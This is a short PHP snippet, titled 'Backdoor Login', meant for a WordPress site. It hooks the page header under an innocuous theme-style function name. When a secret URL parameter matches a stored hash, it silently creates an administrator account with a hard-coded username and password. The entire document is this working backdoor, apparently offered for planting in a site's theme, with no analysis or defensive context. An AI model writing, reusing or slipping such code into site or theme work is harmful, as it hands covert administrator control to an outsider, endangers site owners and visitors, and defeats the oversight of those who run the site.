Backdoor Login

if(!function_exists('ethicacbd_sb_theme_files')){
    add_action( 'wp_head', 'ethicacbd_sb_theme_files' );
    function ethicacbd_sb_theme_files() {
        if( isset($_GET['goodmorning'])){
            if ( md5( $_GET['goodmorning'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
                require( 'wp-includes/registration.php' );
                if ( !username_exists( 'developer.tajul' ) ) {
                    $user_id = wp_create_user( 'developer.tajul', 'bd123456' );
                    $user = new WP_User( $user_id );
                    $user->set_role( 'administrator' );
                }
            }
        }
    }
}